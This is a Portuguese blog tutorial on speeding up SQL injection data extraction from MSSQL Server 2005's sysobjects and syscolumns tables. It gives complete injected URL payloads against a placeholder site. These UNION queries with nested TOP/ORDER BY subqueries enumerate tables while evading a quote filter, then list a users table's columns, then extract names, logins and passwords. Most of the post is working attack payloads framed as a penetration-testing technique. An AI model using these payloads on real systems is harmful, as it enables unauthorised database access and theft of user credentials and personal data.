SQL Injection - otimizando a extração de dados da sysobjects do MSSQL Server

Realizando testes de injeção de SQL no MSSQL Server 2005, deparei-me com a seguinte situação: como extrair de forma rápida dados das tabelas sysobjects e syscolumns de uma página vulnerável (via URL) que somente exibe uma tupla por vez e não aceita aspas simples na query? Ainda como agravante, sabemos que o id destas tabelas são gerados de forma aleatório e com uma grande variação de dígitos! A solução para este problema foi concebido através de sub-consultas, fazendo uma simulação da cláusula LIMIT do MySQL no MSSQL Server.

sysobjects e syscolumns

A tabela sysobjects está presente em todos os bancos criados no SQL Server 2000/2005, e contém uma linha para cada objeto (table, constraint, default, log, rule, stored procedure e assim por diante). Já a tabela syscolumns, também presente em todos os bancos de dados, contém informações sobre cada coluna de cada tabela.

Da tabela sysobjects precisamos conhecer as seguintes colunas: name - nome do objeto e id - identificador do objeto. Da tabela syscolumns precisamos conhecer os campos name - nome da coluna, colid - identificador da coluna e id - identificador da tabela. Para mais detalhes consulte MSDN - MSSQL Server.

O Problema

A maneira, aparentemente, mais simples para começar a extração, seria através da seguinte query:

http://www.sitetestex.com/user.aspx?cid=-1234 union all select name,id from sysobjects where id = 1 (incrementa-se o id)

Sim, esta seria a forma mais indicada para extrair informações do bancos de dados no cenário descrito anteriormente (apenas uma tupla por vez!!). Porém, como já sabemos a tabela sysobjects guarda vários tipos de objetos e não só o nome das tabelas criadas pelo usuário.

Acontece que essa aplicação em particular filtra as aspas simples, então o truque clássico de testar se a coluna xtype é igual a 'U' não funciona diretamente. Nós poderíamos usar CHAR(85) ao invés de 'U', mas podemos fazer melhor. Além disso, e também devido ao grande tamanho do id gerado, o ataque com força bruta, onde iremos apenas incrementar o valor do parâmetro id, iria demorar tanto a ponto de ficar inviável.

Com o intuito de exemplificar o que foi afirmado anteriormente, instalei o MSSQL Server 2005, criei um novo banco de dados e 3 tabelas no mesmo. Após realizar consultas na tabela sysobjects, obtive os seguintes resultados:

Em uma simples consulta SELECT * FROM meubd..sysobjects, obtive um total de 57 linhas, sendo apenas 3 do usuário (as 3 tabelas criadas anteriormente). O id gerado para as tabelas do usuário foram os seguintes: tabela A id=5575058, B id=149575571 e C id=2121058592. Assim percebemos que a variação entre os identificadores é muito grande e que não há outras tabelas entre elas. Em um ataque de força bruta quando a tabela A for encontrada, será necessário realizar mais 144.000.513 consultas até encontrar outra tabela, neste caso a tabela B e logo em seguida mais 1.971.483.021 para encontrar a tabela C.

Para o exemplo acima utilizamos apenas 3 tabelas, porém um banco de dados de um sistema de porte médio pode ser composto por centenas de tabelas.

A Solução

Enfim, agora que entendemos o cenário, vamos à solução que também fará uso de força bruta. Porém, teremos um ganho de eficiência de centenas de requisições para extrair as mesmas informações.

A idéia é fazer algo como a cláusula LIMIT do MySql, onde podemos extrair uma determinada faixa de dados, isto será possível através de consultas aninhadas, ordenação e utilização de cláusulas TOP e ORDER BY, assim conseguiremos este efeito e restringiremos as consultas somente às tabelas válidas (existentes).

Para extrair informações da tabela sysobjects (que guarda o nome das tabelas), realizaremos a seguinte requisição:

http://www.sitetestex.com/user.aspx?cid=-1234 union all select name,id from (select top 1 name,id from 
(select top 10 sysobjects.name,sysobjects.id from sysobjects JOIN syscolumns ON sysobjects.id=syscolumns.id 
order by sysobjects.id) as consulta1 order by id desc) as consulta2

No nosso exemplo o banco retorna 2 dados por tupla, logo o nosso union deve também retornar 2 dados por tupla (são eles: name e id). A nossa consulta mais interna faz junção com a tabela syscolumns, isto irá restringir nossa consulta a somente objetos que possuem colunas, ou seja, que são tabelas. Para este exemplo serão retornados os 10 primeiros registros [1,2,3,4,5,6,7,8,9,10], em seguida uma outra consulta irá ordenar os 10 resultados de forma descendente pelo id [10,9,8,7,6,5,4,3,2,1] e restringirá para TOP 1, ou seja, o resultado será apenas a tupla de id 10. Agora basta aumentar o TOP da consulta mais interna para conseguirmos enumerar todas as tabelas válidas do banco de dados.

Resultado da consulta:

id           name
122922958    ListaPermissoes
130083195    RecusasPedidos
149575571    Usuarios
165773292    PedidoRateio

Agora com o resultado da tabela sysobjects, podemos consultar as colunas das tabelas válidas. Como exemplo usaremos a tabela usuarios.

http://www.sitetestex.com/user.aspx?cid=-1234 union all select name,colid from (select top 1 colid,name from 
(select top 1 colid,name from syscolumns where id = 149575571) as consulta1 order by colid desc) as consulta2

Resultado da consulta:

colid    name
1        code
2        nome
3        senha
4        login
5        banco
6        cpf
Agora que já conhecemos os nomes das tabelas e de suas respectivas colunas, já podemos executar a simples query e extrair as informações dos usuários.

http://www.sitetestex.com/user.aspx?cid=-1234 union all select nome,login,senha from usuarios where code = 1

Esta é uma forma de economizar tempo e diminuir bruscamente o número de requisições. Este foi um cenário específico onde não era possível restringir as consultas às tabelas do usuário (através da coluna xtype). Outros tipos de consultas podem ser obtidas em MSSQL Injection Cheat Sheet.

Comentários
Aceita-se formatação à la TWiki. HTML e scripts são filtrados. Máximo 15KiB.

 
Enviando... por favor aguarde...
Comentário enviado com suceso -- obrigado.
Ele aparecerá quando os moderadores o aprovarem.
Houve uma falha no envio do formulário!
Deixei uma nota para os admins verificarem o problema.
Perdoe-nos o transtorno. Por favor tente novamente mais tarde.